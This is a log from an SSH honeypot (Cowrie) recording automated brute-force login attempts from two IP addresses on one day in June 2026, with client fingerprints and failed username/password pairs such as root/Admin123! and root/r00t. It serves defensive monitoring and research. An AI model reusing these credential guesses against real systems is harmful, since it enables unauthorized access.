{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:08.121525Z","src_ip":"91.92.40.171","session":"ebe65b69e945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:08.995155Z","src_ip":"91.92.42.133","session":"1c5dfa248b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:09.230694Z","src_ip":"91.92.40.171","session":"ebe65b69e945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:10.211520Z","src_ip":"91.92.42.133","session":"1c5dfa248b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42738,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4baf78a61fb","protocol":"ssh","message":"New connection: 91.92.40.171:42738 (159.203.135.109:22) [session: e4baf78a61fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:12.847722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:12.857304Z","src_ip":"91.92.40.171","session":"e4baf78a61fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:12.948712Z","src_ip":"91.92.40.171","session":"e4baf78a61fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:13.391457Z","src_ip":"91.92.40.171","session":"e4baf78a61fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34590,"dst_ip":"159.203.135.109","dst_port":22,"session":"44c05fe3f558","protocol":"ssh","message":"New connection: 91.92.42.133:34590 (159.203.135.109:22) [session: 44c05fe3f558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:13.991882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:14.227040Z","src_ip":"91.92.42.133","session":"44c05fe3f558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:14.230458Z","src_ip":"91.92.42.133","session":"44c05fe3f558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:14.494009Z","src_ip":"91.92.40.171","session":"e4baf78a61fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:15.976508Z","src_ip":"91.92.42.133","session":"44c05fe3f558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:17.311400Z","src_ip":"91.92.42.133","session":"44c05fe3f558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48236,"dst_ip":"159.203.135.109","dst_port":22,"session":"3004767e429b","protocol":"ssh","message":"New connection: 91.92.40.171:48236 (159.203.135.109:22) [session: 3004767e429b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:18.306675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:18.311128Z","src_ip":"91.92.40.171","session":"3004767e429b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:18.409067Z","src_ip":"91.92.40.171","session":"3004767e429b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:18.754564Z","src_ip":"91.92.40.171","session":"3004767e429b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:19.927851Z","src_ip":"91.92.40.171","session":"3004767e429b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40686,"dst_ip":"159.203.135.109","dst_port":22,"session":"608bf2a7c247","protocol":"ssh","message":"New connection: 91.92.42.133:40686 (159.203.135.109:22) [session: 608bf2a7c247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:20.208983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:20.508817Z","src_ip":"91.92.42.133","session":"608bf2a7c247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:20.511431Z","src_ip":"91.92.42.133","session":"608bf2a7c247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:21.986193Z","src_ip":"91.92.42.133","session":"608bf2a7c247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:23.383631Z","src_ip":"91.92.42.133","session":"608bf2a7c247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48274,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7214484062d","protocol":"ssh","message":"New connection: 91.92.40.171:48274 (159.203.135.109:22) [session: b7214484062d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:25.595076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:25.598821Z","src_ip":"91.92.40.171","session":"b7214484062d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:26.855098Z","src_ip":"91.92.40.171","session":"b7214484062d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53358,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96134abd7c3","protocol":"ssh","message":"New connection: 91.92.42.133:53358 (159.203.135.109:22) [session: d96134abd7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:27.307912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:27.391172Z","src_ip":"91.92.42.133","session":"d96134abd7c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:27.394177Z","src_ip":"91.92.42.133","session":"d96134abd7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:27.957863Z","src_ip":"91.92.42.133","session":"d96134abd7c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:29.132262Z","src_ip":"91.92.42.133","session":"d96134abd7c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43420,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e8d0397047","protocol":"ssh","message":"New connection: 91.92.40.171:43420 (159.203.135.109:22) [session: b0e8d0397047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:29.332860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:29.339180Z","src_ip":"91.92.40.171","session":"b0e8d0397047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:29.416525Z","src_ip":"91.92.40.171","session":"b0e8d0397047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:29.781485Z","src_ip":"91.92.40.171","session":"b0e8d0397047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:30.871177Z","src_ip":"91.92.40.171","session":"b0e8d0397047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:33.384387Z","src_ip":"91.92.40.171","session":"b7214484062d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53394,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b0ba3c0238e","protocol":"ssh","message":"New connection: 91.92.42.133:53394 (159.203.135.109:22) [session: 6b0ba3c0238e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:33.829641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:34.063701Z","src_ip":"91.92.42.133","session":"6b0ba3c0238e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:34.069424Z","src_ip":"91.92.42.133","session":"6b0ba3c0238e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43456,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2bf038e1a6c","protocol":"ssh","message":"New connection: 91.92.40.171:43456 (159.203.135.109:22) [session: a2bf038e1a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:34.486394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:34.592545Z","src_ip":"91.92.40.171","session":"a2bf038e1a6c","protocol":"ssh"}
